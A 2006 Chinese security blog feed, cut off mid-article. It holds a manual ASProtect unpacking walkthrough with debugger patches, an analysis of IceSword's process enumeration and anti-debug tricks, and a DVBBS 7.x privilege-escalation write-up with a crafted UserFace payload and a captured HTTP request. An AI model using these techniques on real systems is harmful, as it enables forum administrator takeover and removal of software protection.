		<table class="main_tdbg_575" style="WORD-BREAK: break-all" cellspacing="0" cellpadding="5" width="100%" align="center" border="0">
				<tbody>
						<tr valign="center" align="middle">
								<td class="main_articletitle" colspan="2" height="50">手脱ASProtect 2.1壳</td>
						</tr>
						<tr valign="center" align="middle">
								<td class="main_ArticleSubheading" style="WORD-BREAK: break-all" colspan="2" height="0">
								</td>
						</tr>
						<tr align="middle">
								<td class="Article_tdbgall" width="467" height="22">作者：<a title="飞翔" href="http://07188.cn/ShowAuthor.asp?ChannelID=1&amp;AuthorName=飞翔">飞翔</a> 来源：<a href="http://07188.cn/ShowCopyFrom.asp?ChannelID=1&amp;SourceName=07188.cn">07188.cn</a> 点击：32 更新时间：2006-4-26</td>
						</tr>
						<tr>
								<td id="fontzoom" style="WORD-BREAK: break-all" valign="top" colspan="2" height="300">
										<p>
												<br />
												<br />【脱壳文件】EPSON打印机工具<br />【下载地址】<a href="http://www.ssclg.com/download/sscserve.exe">http://www.ssclg.com/download/sscserve.exe</a><br />【加壳方式】ASProtect 2.1x SKE -&gt; Alexey Solodovnikov<br />【作者声明】：只是感兴趣，没有其他目的。失误之处敬请诸位大侠赐教<br />【调试环境】：Win2003、OllyDBD、PEiD、LordPE、ImportREC<br />【脱壳过程】：近日论坛闲逛，遇此软件，学了N久ASPR了，正愁无软柿可捏，于是照猫画虎一番，算给我等菜鸟写个笔记吧。<br />           <br />        一、避开加密，得到完整IAT<br />       OD忽略除INT3外的所有异常（注意同时忽略以下所有异常前面不要选），过两次异常后在CODE段下内存断点，到这里:
</p>
										<p>
												<br />代码:--------------------------------------------------------------------------------004B09F0    55              PUSH EBP<br />004B09F1    8BEC            MOV EBP,ESP<br />004B09F3    83C4 F0         ADD ESP,-10<br />004B09F6    B8 40074B00     MOV EAX,ssc_serv.004B0740<br />004B09FB    E8 7C5CF5FF     CALL ssc_serv.0040667C<br />004B0A00    A1 70744B00     MOV EAX,DWORD PTR DS:[4B7470]<br />004B0A05    8B00            MOV EAX,DWORD PTR DS:[EAX]<br />004B0A07    E8 D43FFBFF     CALL ssc_serv.004649E0<br />004B0A0C    A1 70744B00     MOV EAX,DWORD PTR DS:[4B7470]<br />004B0A11    8B00            MOV EAX,DWORD PTR DS:[EAX]<br />004B0A13    BA 800A4B00     MOV EDX,ssc_serv.004B0A80                ; ASCII "SSC Service Utility"<br />004B0A18    E8 BB3BFBFF     CALL ssc_serv.004645D8<br />004B0A1D    8B0D C0754B00   MOV ECX,DWORD PTR DS:[4B75C0]            ; ssc_serv.004BC344<br />004B0A23    A1 70744B00     MOV EAX,DWORD PTR DS:[4B7470]<br />004B0A28    8B00            MOV EAX,DWORD PTR DS:[EAX]</p>
										<p>--------------------------------------------------------------------------------</p>
										<p>搜索一下FF 25<br />找到这里<br />0040121C  - FF25 00D24B00   JMP DWORD PTR DS:[4BD200]                ; kernel32.CloseHandle</p>
										<p>数据窗口到4BD200看一下：</p>
										<p>代码:--------------------------------------------------------------------------------<br />004BD154  7C96AE65  ntdll.RtlDeleteCriticalSection<br />004BD158  7C95F2FC  ntdll.RtlLeaveCriticalSection<br />004BD15C  7C95F337  ntdll.RtlEnterCriticalSection<br />004BD160  7C8284E0  kernel32.InitializeCriticalSection<br />004BD164  7C828CFC  kernel32.VirtualFree<br />004BD168  7C82BEC9  kernel32.VirtualAlloc<br />004BD16C  7C82BC09  kernel32.LocalFree<br />004BD170  7C82BB92  kernel32.LocalAlloc<br />004BD174  7C82BB6D  kernel32.GetTickCount<br />004BD178  5358C7CE<br />004BD17C  7C82C07F  kernel32.GetVersion<br />004BD180  44481099<br />004BD184  7C82B44F  kernel32.InterlockedDecrement<br />004BD188  7C82B43B  kernel32.InterlockedIncrement<br />004BD18C  7C818EA7  kernel32.VirtualQuery<br />004BD190  7C82DC10  kernel32.WideCharToMultiByte<br />004BD194  7C82BC7C  kernel32.MultiByteToWideChar<br />004BD198  CDFA8D2A<br />004BD19C  7C817702  kernel32.lstrcpynA<br />004BD1A0  F92B6CBC<br />004BD1A4  21D669D5<br />004BD1A8  F915B282<br />--------------------------------------------------------------------------------</p>
										<p>
												<br />输入表被加密了，重新运行程序，不忽略非法访问内存异常，忽略其他异常后大约十四次后，搜索参考字符串，找到到达IAT处理的CALL。</p>
										<p>代码:--------------------------------------------------------------------------------00E7EBF6   /EB 0A           JMP SHORT 00E7EC02<br />00E7EBF8   |68 E8F4E700     PUSH 0E7F4E8                             ; ASCII "85<br />00E7EBFD   |E8 2A62FEFF     CALL 00E64E2C<br />00E7EC02   \A1 1C37E800     MOV EAX,DWORD PTR DS:[E8371C]<br />00E7EC07    8B00            MOV EAX,DWORD PTR DS:[EAX]<br />00E7EC09    E8 0A8CFFFF     CALL 00E77818          //这里进去！<br />00E7EC0E    84C0            TEST AL,AL<br />00E7EC10    75 0A           JNZ SHORT 00E7EC1C<br />00E7EC12    68 E8F4E700     PUSH 0E7F4E8                             ; ASCII "85<br />--------------------------------------------------------------------------------</p>
										<p>进去后，找到IAT处理的CALL</p>
										<p>代码:--------------------------------------------------------------------------------<br />00E77916    50              PUSH EAX<br />00E77917    56              PUSH ESI<br />00E77918    E8 9BFCFFFF     CALL 00E775B8              〈〈〈〈————这里进去<br />--------------------------------------------------------------------------------</p>
										<p>再进来后开始了比较了，开始PATCH吧</p>
										<p>代码:--------------------------------------------------------------------------------<br />00E775B8    55              PUSH EBP<br />00E775B9    8BEC            MOV EBP,ESP<br />00E775BB    81C4 F8FEFFFF   ADD ESP,-108<br />00E775C1    53              PUSH EBX<br />00E775C2    56              PUSH ESI<br />00E775C3    57              PUSH EDI<br />00E775C4    8B55 14         MOV EDX,DWORD PTR SS:[EBP+14]<br />00E775C7    8B5D 08         MOV EBX,DWORD PTR SS:[EBP+8]<br />00E775CA    8DBD FAFEFFFF   LEA EDI,DWORD PTR SS:[EBP-106]<br />00E775D0    8BC2            MOV EAX,EDX<br />00E775D2    48              DEC EAX<br />00E775D3    83E8 02         SUB EAX,2<br />00E775D6    0FB630          MOVZX ESI,BYTE PTR DS:[EAX]<br />00E775D9    8B45 10         MOV EAX,DWORD PTR SS:[EBP+10]<br />00E775DC    83E8 02         SUB EAX,2<br />00E775DF    0FB600          MOVZX EAX,BYTE PTR DS:[EAX]<br />00E775E2    3B43 2C         CMP EAX,DWORD PTR DS:[EBX+2C]<br />00E775E5    76 06           JBE SHORT 00E775ED<br />00E775E7    8943 2C         MOV DWORD PTR DS:[EBX+2C],EAX<br />00E775EA    EB 01           JMP SHORT 00E775ED<br />00E775EC    6933 C08A433B   IMUL ESI,DWORD PTR DS:[EBX],3B438AC0<br />00E775F2    3BF0            CMP ESI,EAX                 〈〈〈〈〈〈〈————这里比较四种情况<br />00E775F4    75 5E           JNZ SHORT 00E77654             //这里开始PATCH<br />00E775F6    EB 01           JMP SHORT 00E775F9<br />PATCH：<br />00E775F4  - E9 078A2500     JMP 010D0000             我用内存管理插件申请到的是 10D0000处<br />--------------------------------------------------------------------------------</p>
										<p>我跟踪后发现ESI值有三种情况，BA、88、91，其中BA，91两种情况不加密，88需要改成91才能不加密。</p>
										<p>继续PATCH：</p>
										<p>代码:--------------------------------------------------------------------------------<br />010D0000  - 0F84 F375DAFF   JE 00E775F9<br />010D0006    81FE 91000000   CMP ESI,91<br />010D000C  - 0F84 4276DAFF   JE 00E77654<br />010D0012    BE 91000000     MOV ESI,91<br />010D0017  - E9 3876DAFF     JMP 00E77654<br />--------------------------------------------------------------------------------</p>
										<p>下面开始运行吧，跑飞了也没关系，反正我们已经拿到正确的IAT表了。</p>
										<p>二、修复CALL XXXXXXXX。</p>
										<p>到OEP后开始修复吧，搜索一下89,45,F0,B8,00,07,00,00 到达这里：</p>
										<p>代码:--------------------------------------------------------------------------------<br />00E77188    8945 F0         MOV DWORD PTR SS:[EBP-10],EAX<br />00E7718B    B8 00070000     MOV EAX,700<br />00E77190    E8 B7B3FDFF     CALL 00E5254C //就这里改吧</p>
										<p>PATCH：<br />00E77190  - E9 6B8E2200     JMP 010A0043<br />--------------------------------------------------------------------------------</p>
										<p>
												<br />到10A0000处写上代码<br /> </p>
										<p>代码:--------------------------------------------------------------------------------<br />010A0000    0000            ADD BYTE PTR DS:[EAX],AL<br />010A0002    0000            ADD BYTE PTR DS:[EAX],AL<br />010A0004    0000            ADD BYTE PTR DS:[EAX],AL<br />010A0006    0000            ADD BYTE PTR DS:[EAX],AL<br />010A0008    0000            ADD BYTE PTR DS:[EAX],AL<br />010A000A    BA 00104000     MOV EDX,401000                  \<br />010A000F    803A E8         CMP BYTE PTR DS:[EDX],0E8       |<br />010A0012    75 14           JNZ SHORT 010A0028              |  <br />010A0014    8B42 01         MOV EAX,DWORD PTR DS:[EDX+1]    | <br />010A0017    03C2            ADD EAX,EDX                     |<br />010A0019    05 05000000     ADD EAX,5                       |   <br />010A001E    3D 00000601     CMP EAX,1060000                 |<br />010A0023    75 03           JNZ SHORT 010A0028              |<br />010A0025    EB 0C           JMP SHORT 010A0033              |<br />010A0027    90              NOP                             |    <br />010A0028    42              INC EDX                         |<br />010A0029    81FA 00104B00   CMP EDX,4B1000                  |<br />010A002F  ^ 72 DE           JB SHORT 010A000F               |<br />010A0031  - EB FE           JMP SHORT 010A0031              |  <br />010A0033    8915 00010A01   MOV DWORD PTR DS:[10A0100],EDX  |<br />010A0039    60              PUSHAD                          |<br />010A003A    FFE2            JMP EDX                         / </p>
										<p>//这段代码是从401000开始扫描代码段,查找CALL XXXXXX.是则跳到原CALL处执行. <br />010A003C    90              NOP<br />010A003D    90              NOP<br />010A003E    90              NOP<br />010A003F    90              NOP<br />010A0040    90              NOP<br />010A0041    90              NOP<br />010A0042    90              NOP<br />010A0043    60              PUSHAD              //这是从原CALL处返回点,此时EDX值即为指针.<br />010A0044    B8 54D14B00     MOV EAX,4BD154<br />010A0049    90              NOP<br />010A004A    3910            CMP DWORD PTR DS:[EAX],EDX<br />010A004C    75 23           JNZ SHORT 010A0071<br />010A004E    8B0D 00010A01   MOV ECX,DWORD PTR DS:[10A0100]<br />010A0054    C701 FF250000   MOV DWORD PTR DS:[ECX],25FF<br />010A005A    8941 02         MOV DWORD PTR DS:[ECX+2],EAX<br />010A005D    61              POPAD<br />010A005E    90              NOP<br />010A005F    8B15 00010A01   MOV EDX,DWORD PTR DS:[10A0100]<br />010A0065    90              NOP<br />010A0066    90              NOP<br />010A0067    90              NOP<br />010A0068  ^ EB BE           JMP SHORT 010A0028<br />010A006A    90              NOP<br />010A006B    90              NOP<br />010A006C    90              NOP<br />010A006D    90              NOP<br />010A006E    90              NOP<br />010A006F    90              NOP<br />010A0070    90              NOP<br />010A0071    83C0 04         ADD EAX,4<br />010A0074    3D 00D94B00     CMP EAX,4BD900<br />010A0079  ^ 7E CF           JLE SHORT 010A004A<br />010A007B  ^ EB E0           JMP SHORT 010A005D             <br />010A007D    90              NOP<br />//这段是修复CALL XXXXX为JMP　DWORD PTR DS:[XXXXX]<br />--------------------------------------------------------------------------------</p>
										<p>代码大部分是抄的，里面的NOP是为了留空的，便于以后别的程序用。<br />在010A000A新建EIP，F9运行一下，OK。</p>
										<p>
												<br />三、<br />下面就是LODEPE开始DUMP，IMR里填上OEP: 000B09F0  IATRVA: 000BD150  IATSize: 00000730修复一下。<br />测试一下，正常了。</p>
										<p>【脱壳总结】：这个没有OEP抽取,而且校验不严格，比较适合菜鸟作练习用。最后感谢SYSCOM，SHOOOO，林海雪原等大侠们的脱文。</p>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/torch/aggbug/10608.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-05-16 18:48 <a href="http://www.cnitblog.com/torch/articles/10608.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>icesword是如何列出隐藏进程？</title><link>http://www.cnitblog.com/torch/articles/9574.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Sun, 23 Apr 2006 08:25:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/9574.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/9574.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/9574.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/9574.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/9574.html</trackback:ping><description><![CDATA[
		<p align="center">icesword是如何列出隐藏进程？<br />来源：hackervip(黑客/网络安全) </p>
		<div>          wuyanfeng icesword 是通过 PspCidTable 这个表来遍历进程的， PspCidTable 是一个没有被 ntoskrnl.exe 导出的。这就涉及到如何定位 PspCidTable 的问题。icesword 是通过搜索特征串的方式定位 PspCidTalbe. PspCidTable 是一个 HANDLE_TALBE 结构. PsLookupProcessByProcessId 函数中会引用 PspCidTalbe 变量。icesword 从 PsLookupProcessByProcessId 函数的前几十个字节 内搜索 PspCidTalbe 变量。在icesword 里面是不能调试的即使是用 windbg , softice,syser 调试器下断点调试，也是断不住的。 当然了你也不能用调试器调试，因为 icesword.exe 会在一个timer 中不停的重新设置 int 1,int 3 的中断处理函数。设置成 windows ntoskrnl.exe 中的缺省处理函数。即使你用硬件断点寄存器也是不管用的。那有的人就会说既然设置成 windows ntoskrnl.exe 中的缺省处理函数就可以使用 windbg 双机调试.icesword 也做了处理,icesword 会通过 KdDebuggerEnabled 变量判断是否允许内核 调试。如果允许调试的话. icesword 会调用 KdDisableDebugger 函数禁止内核调试。 第一部分 (写的太细了,因为怕被 rootkit 的作者利用.所以就把第一部分给去掉了.如果需要可以单独和我联系) 写第二部分 这里顺便在说两个分析 icesword 中遇到的反调试小陷阱 这里把代码片段列出来，希望作者原谅 .text:000xxxF0   mov [ebp+IoControlCode], eax .text:000xxxF3   mov eax, [esp+5Ch-6Ch] ; 反调试代码 .text:000xxxF7   push eax .text:000xxxF8   mov eax, [esp+60h-6Ch] .text:000xxxFC   pop ebx .text:000xxxFD   cmp eax, ebx .text:000xxxFF   jz short loc_1240B ; 如果没有被调试则会跳转 .text:000xxx01   mov eax, 200EDBh .text:000xxx06   not eax .text:000xxx08   push eax .text:000xxx09   pop edi .text:000xxx0A   stosd .text:000xxxF3   mov eax, [esp+5Ch+6Ch] 当单步执行到这条指令或者在这条指令上设置断点的时候，因为当调试器在这条指令上弹出的时候会 用到被调试程序的堆栈来保存 EFLAGS,CS,EIP, （如果 int 1,或 int 3 处理函数用任务门就可以解决这个问题。）例如 当代码执行到这条指令时 ESP = 805E4320h   执行完这条指令是 eax 的值为 [ESP+5Ch-6Ch]=[ESP-10h]=[805E4320h-10h]=[805E4310h] 的值。 当单步执行到 .text:000xxxF8   mov eax, [esp+60h-6Ch] 指令的时候 ESP=805E432Ch 以为其中入栈了一个 eax 所以 ESP=805E432Ch, 执行完 .text:000xxxF8   mov eax, [esp+60h-6Ch] 条指令的时候 eax = [ESP+60h-6Ch]=[ESP-Ch]=[805E432Ch-Ch]=[805E4310h] 如果不调试的情况下 读的是同一个地址的值，所以两个值比较应该是相同的 也就是 .text:000xxxFD   cmp eax, ebx 这条指令的比较结果 应该是相同的。这个指令 .text:000xxxFF   jz short loc_1240B 执行后直接跳转到。 如果是被调试器调试的情况下 .text:000xxxFF   jz short loc_1240B 不会跳转。 如果不跳转时下面的代码 会覆盖掉系统的当前 ETHREAD 指针。接下来在调用很多系统函数都会导致系统崩溃，并且是崩溃到系统模块里面，这样给你定位错误带来误导。哈哈 .text:000xxx68   push 1 ; Alignment .text:000xxx6A   push 40h ; Length .text:000xxx6C   push CurrentEProcessObject ; Address .text:000xxx72   call ds:ProbeForRead 这里是故意做个异常来实现跳转。如果你在 .text:000xxx72   call ds:ProbeForRead 指令上单步执行的时候调试器会跑飞了， 也就是说从调试器退出了，没有继续跟踪下去。 第三部分 接下来说我们的 PspCidTable 我们找到了 PspCidTable 变量后， PspCidTable [这个 HANDLE_TABLE 的句柄表中，保存着所有进程和线程对象的指针。 PID（进程ID）和 ThreadID（线程ID）就是在这个句柄表中的索引。这个 HANDLE_TABLE 不属于任何进程，也没有链在 HANDLE_TABLE 链上。全局变量 PspCidTable 中是指向这个 HANDLE_TABLE 的指针。这个 HANDLE_TABLE 还有一点和别的 HANDLE_TABLE 都不同，就是它的 HANDLE_TABLE_ENTRY 中的 第一个32bit 放着的是对象体指针（当然需要转换）而不是对象头指针（对象指针就是对象体指针）。] (特别注明 在[]的话不是俺写的是在网上抄来的 这里特别感谢 “JIURL玩玩Win2k进程线程篇 HANDLE_TABLE” 文章的作者：JIURL ) 我们之要想到办法遍历这个 PspCidTable 句柄表就可以遍历到系统的所有进程。icesword 为了遍历这个表他使用了系统为公开的 ntoskrnl.exe 的导出函数 ExEnumHandleTable 。 icesword 定位到 ntoskrnl.exe 导出的 ExEnumHandleTable函数。 这个函数是未公开的函数。 这个函数的函数原形可能是 VOID STDCALL ExEnumHandleTable (PULONG HandleTable, PVOID Callback, PVOID Param, PHANDLE Handle OPTIONAL); 其中的参数 PULONG HandleTable 就可以用 PspCidTable 做参数. PVOID Callback 的类型为 bool (*EXENUMHANDLETABLECALLBACK)(HANDLE_TALBE_ENTRY*,DWORD PID,PVOID Param) 函数指针。 PVOID Param 参数就是传送给回调函数的参数。 PHANDLE Handle OPTIONAL 这个参数俺还没搞懂什么意思。在说俺也用不到他，所以也不管他了随他去吧。 当调用 ExEnumHandleTable 函数的时候 函数在每次枚举到表中的一个句柄时都会调用一次回调函数。 当调用的 Callback 回调函数返回值为 0 时继续枚举句柄表，如果返回 1 时则停止枚举。</div>
<img src ="http://www.cnitblog.com/torch/aggbug/9574.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-04-23 16:25 <a href="http://www.cnitblog.com/torch/articles/9574.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>动网论坛权限提升漏洞</title><link>http://www.cnitblog.com/torch/articles/9474.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Fri, 21 Apr 2006 12:09:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/9474.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/9474.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/9474.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/9474.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/9474.html</trackback:ping><description><![CDATA[
		<p align="left">文章作者：focn &amp; jinsdb<br />信息来源：邪恶八进制信息安全团队（www.eviloctal.com） <br /><br />在6月份的黑防上看到《动网7.1漏洞惊现江湖》一文，说是admin_postings.asp文件<br /><br />存在注入漏洞，但利用的前提是拥有超级斑竹或前台管理员权限。我想起以前发现的动网7.x版本存在一个前台权限提升漏洞， 正好可以结合起来利用。这个前台权限提升漏洞对7.x的Access和 Sql版都有效。下面我们就以7.0 sp2 sql版，讲解这个漏洞的利用。<br /><br />漏洞分析<br />我们知道动网是通过GroupID来判断当前用户所在的组的，然后再通过组的信息判断用户的权限。它是如何取得这个GroupID的呢？让我们看看登录验证的那一段：<br /><br />login.asp的５２５行左右<br /><br />Rem ==========论坛登录函数=========<br /><br />Rem 判断用户登录<br /><br />Function ChkUserLogin(username,password,mobile,usercookies,ctype)<br /><br /><br /><br />…………前面的代码省略<br /><br />Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace<br /><br />,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,<br /><br />userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,<br /><br />UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday "<br /><br />Sql=Sql+" From [Dv_User] Where "&amp;sqlstr&amp;""<br /><br />set rsUser=Dvbbs.Execute(sql)<br /><br />If rsUser.eof and rsUser.bof Then<br /><br />ChkUserLogin=false<br /><br />Exit Function<br /><br />Else<br /><br />iMyUserInfo=rsUser.GetString(,1, "|||", "", "")<br /><br />rsUser.Close:Set rsUser = Nothing<br /><br />End If<br /><br />iMyUserInfo = "Dvbbs|||"&amp; Now &amp; "|||" &amp; Now &amp;"|||"&amp; Dvbbs.BoardID &amp;"|||"&amp;<br /><br />iMyUserInfo &amp;"||||||Dvbbs"<br /><br />iMyUserInfo = Split(iMyUserInfo,"|||")<br /><br />If trim(password)&lt;&gt;trim(iMyUserInfo(6)) Then<br /><br />ChkUserLogin=false<br /><br />ElseIf iMyUserInfo(17)=1 Then<br /><br />ChkUserLogin=false<br /><br />ElseIf iMyUserInfo(19)=5 Then<br /><br />ChkUserLogin=false<br /><br />Else<br /><br />ChkUserLogin=True<br /><br />Session(Dvbbs.CacheName &amp; "UserID") = iMyUserInfo<br /><br />Dvbbs.UserID = iMyUserInfo(4)<br /><br />RegName = iMyUserInfo(5)<br /><br />Article = iMyUserInfo(8)<br /><br />UserLastLogin = iMyUserInfo(15)<br /><br />UserClass = iMyUserInfo(18) <br /><br />GroupID = iMyUserInfo(19)<br /><br />TitlePic = iMyUserInfo(34)<br /><br />If Article&lt;0 Then Article=0<br /><br />End If<br /><br />…………后面的代码省略<br /><br />可以看到，动网将用户的信息先用”|||”三个竖线连起来，做为一个字符串传给iMyUserInfo,然后iMyUserInfo由”|||”分隔成一个字符串数组。用户密码验证正确后就把数组的第20个元素的值：iMyUserInfo(19)　赋给GroupID。看到没，GroupID只是数组对应的第20个元素的值，如果iMyUserInfo(19)的值为１的话，动网就以为现在登录的用户是前台管理员了。<br /><br />在inc目录下的Dv_ClsMain.asp文件中也有这么验证用户身份的一段代码，用来在用户更新信息后检测用户的权限。<br /><br />Dv_ClsMain.asp的６５０行左右<br /><br />Public Sub TrueCheckUserLogin()<br /><br />……前面的省略<br /><br />Dim Rs,SQL<br /><br />Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,<br /><br />UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,<br /><br />UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,<br /><br />UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"<br /><br />Sql=Sql+" From [Dv_User] Where UserID = " &amp; UserID<br /><br />Set Rs = Execute(Sql)<br /><br />If Rs.Eof And Rs.Bof Then<br /><br />Rs.Close:Set Rs = Nothing<br /><br />UserID = 0<br /><br />EmptyCookies<br /><br />LetGuestSession()<br /><br />Else<br /><br />MyUserInfo=Rs.GetString(,1, "|||","","")<br /><br />Rs.Close:Set Rs = Nothing<br /><br />If IsArray(Session(CacheName &amp; "UserID")) Then<br /><br />MyUserInfo = "Dvbbs|||"&amp; Now &amp; "|||" &amp; Session(CacheName &amp; "UserID")(2) &amp;"|||"&amp; BoardID &amp;"|||"&amp; MyUserInfo &amp;"||||||Dvbbs"<br /><br />Else<br /><br />MyUserInfo = "Dvbbs|||"&amp; Now &amp; "|||" &amp; DateAdd("s",-3600,Now()) &amp;"|||"&amp; BoardID &amp;"|||"&amp; MyUserInfo &amp;"||||||Dvbbs"<br /><br />End IF<br /><br />Response.Write MyUserInfo<br /><br />MyUserInfo = Split(MyUserInfo,"|||")<br /><br />…… <br /><br />End If<br /><br />End Sub<br /><br />'用户登录成功后，采用本函数读取用户数组并判断一些常用信息<br /><br />Public Sub GetCacheUserInfo()<br /><br />MyUserInfo = Session(CacheName &amp; "UserID")<br /><br />UserID = Clng(MyUserInfo(4))<br /><br />MemberName = MyUserInfo(5)<br /><br />Lastlogin = MyUserInfo(15)<br /><br />If Not IsDate(LastLogin) Then LastLogin = Now()<br /><br />UserGroupID = Cint(MyUserInfo(19))<br /><br />　　　　……后面代码省略<br /><br /><br />两处检验的方式一模一样，所以我们可以利用这两个中的任意一个来达到我们的目的。看它的sql语句部分：<br /><br />Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,<br />UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,<br />userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,<br />UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"<br /><br />Sql=Sql+" From [Dv_User] Where UserID = " &amp; UserID<br /><br /></p>
		<p>
		</p>
		<p> <img src="http://www.cn-pn.com/Article/UploadFiles/200507/20050702123034621.GIF" /><br />UserGroupID字段排在第１６个，只要我们前面的一个字段的数据中含有”|||”，那么UserGroupID在MyUserInfo这个字符串数组的位置就改变了。对这个字段选取有些特殊的要求，字段类型要合适，不能为数字型，字段的长度要可以容纳下我们构造的数组，并且还得是上面sql语句中排在UserGroupID前面的字段，这样才能使构造的数组改变原来数组中UserGroupID的位置。对照图（１），<br /><br />我们能利用的就只有UserEmail、UserFace这两个字段了。由于IsValidEmail函数的存在，我们没法在UserEmail字段中插入’|’,所以能利用的就只有UserFace字段了。<br /><br />在基本资料修改时，动网只过滤了sql注入用的几个符号，没有过滤掉’|’，所以只要我们构造出正确的字符串，就可以骗过动网，成为管理员组的用户了。<br /><br />face=Dv_FilterJS(replace(face,"'",""))<br /><br />face=Replace(face,"..","")<br /><br />face=Replace(face,"\","/")<br /><br />face=Replace(face,"^","")<br /><br />face=Replace(face,"#","")<br /><br />face=Replace(face,"%","")<br /><br />漏洞的利用<br />如何构造这个UserFace来达到我们的目的呢？最开始我以为只要iMyUserInfo(19)为１就可以是管理员了，但一直没有成功。其实我们在构造这个UserFace时还要考虑到一点，我们已经改变了iMyUserInfo数组的结构，我们必须保证新的iMyUserInfo数组的前面一部分的结构和原数组结构一模一样，否则就会出现类型转换错误，比如UserBirthday，在新的数组中该字段位置的值必须为一个日期。我们可以直接拿一个正常的iMyUserInfo的后半部分做我们的UserFace值，然后将UserGroupID位置改为一。我修改了login.asp文件，让它在用户登录时显示当前用户的iMyUserInfo的内容，见图（２）<br /><br /><img style="WIDTH: 870px; HEIGHT: 176px" height="130" src="http://www.cn-pn.com/Article/UploadFiles/200507/20050702123035613.GIF" width="741" /><br />例如admin（不一定非得是admin的，其他用户的也行，只要UserGroupID处改为１就行了）登录时的iMyUserInfo的值为：<br /><br />Dvbbs|||2005-6-1918:05:34|||2005-6-19 18:05:34|||0|||1|||admin|||469e80d32c0559f8|||<br /><br />eway@aspsky.net|||4|||1|||0|||images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-1918:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200<br /><br />|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||Dvbbs<br /><br />我们可以取<br /><br />images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-19 18:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||<br />9pc722664t5w7IM7|||0|0|0 ||||||Dvbbs<br /><br />做我们的ＵserFace值，要注意这个值的长度不能超过255个字符。动网限制了我们提交的字符为100个，我们可以用NC来提交。<br /><br /><img src="http://www.cn-pn.com/Article/UploadFiles/200507/20050702123035631.GIF" /><br />先在本机测试一下，用普通用户登录动网，现在用户等级还是新手上路如图(3)。<br /><br />好了，我们去修改基本信息的地方如图(4)<br /><br /></p>
		<p> <img src="http://www.cn-pn.com/Article/UploadFiles/200507/20050702123036781.GIF" /><br />提交，用wse抓下这个包，如图(5)。<br /><img style="WIDTH: 584px; HEIGHT: 346px" height="360" src="http://www.cn-pn.com/Article/UploadFiles/200507/20050702123036553.GIF" width="686" /><br />截取到的包如下：<br /><br />POST /bs/mymodify.asp?action=updat&amp;username=4 HTTP/1.1<br /><br />Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*<br /><br />Referer: http://210.41.235.199/bs/mymodify.asp<br /><br />Accept-Language: zh-cn<br /><br />Content-Type: application/x-www-form-urlencoded<br /><br />Accept-Encoding: gzip, deflate<br /><br />User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)<br /><br />Host: 210.41.235.199<br /><br />Content-Length: 396<br /><br />Connection: Keep-Alive<br /><br />Cache-Control: no-cache<br /><br />Cookie: 210%2E41%2E235%2E199%2Fbs%2F=usercookies=0&amp;StatUserID=21048347059&amp;password=fVIy4l887ZvD956c&amp;userhidden=&amp;username=test&amp;userclass=%D0%C2%CA%D6%C9%CF%C2%B7&amp;userid=4; upNum=0; ASPSESSIONIDASCDABTA=IEGHDLKCCHDMOBPFPFFHMNAM<br /><br />title=&amp;sex=1&amp;face=Images%2Fuserface%2Fimage1.gif&amp;myface=Images%2Fuserface%2Fimage1.gif&amp;width=32&amp;height=32&amp;birthday=&amp;userphoto=&amp;GroupName=%CE%DE%C3%C5%CE%DE%C5%C9&amp;Signature=&amp;showRe=0&amp;usercookies=0&amp;setuserinfo=1&amp;setusertrue=0&amp;realname=&amp;personal=&amp;country=&amp;<br />userphone=&amp;address=&amp;province=&amp;selectp=0&amp;city=&amp;selectc=0&amp;shengxiao=&amp;blood=&amp;belief=&amp;occupation=<br />&amp;marital=&amp;education=&amp;college=&amp;Submit=%B8%FC+%D0%C2<br /><br /><br />好，我们把userface的值给替换成<br /><br 